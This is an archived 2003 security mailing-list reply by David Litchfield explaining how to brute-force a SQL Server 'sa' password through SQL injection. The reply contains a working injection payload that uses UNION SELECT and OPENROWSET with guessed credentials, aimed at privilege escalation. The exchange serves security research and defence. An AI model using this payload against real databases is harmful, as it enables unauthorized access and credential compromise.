Re: Brute forcing a M$ SQL Server password through SQL Injection

From: David Litchfield (mnemonixat_private)
Date: Wed Feb 19 2003 - 23:22:06 PST

  • Next message: Roman Medina: "Re: Brute forcing a M$ SQL Server password through SQL Injection" 

    >.....The goal is to elevate priviledges.

>How would you achieve this? ...

You need to take a look at OPENROWSET:

' UNION SELECT * FROM
OPENROWSET('SQLOLEDB','localhost';'sa';'testpass','SELECT @@version')--

Adhoc queries need to be enabled, though.

HTH,
David Litchfield
NGSSoftware Ltd
http://www.ngssoftware.com/





----------------------------------------------------------------------------

Do you know the base address of the Global Offset Table (GOT) on a Solaris 8
box?
CORE IMPACT does.
http://www.securityfocus.com/core

    This archive was generated by hypermail 2b30 : Wed Feb 19 2003 - 15:32:19 PST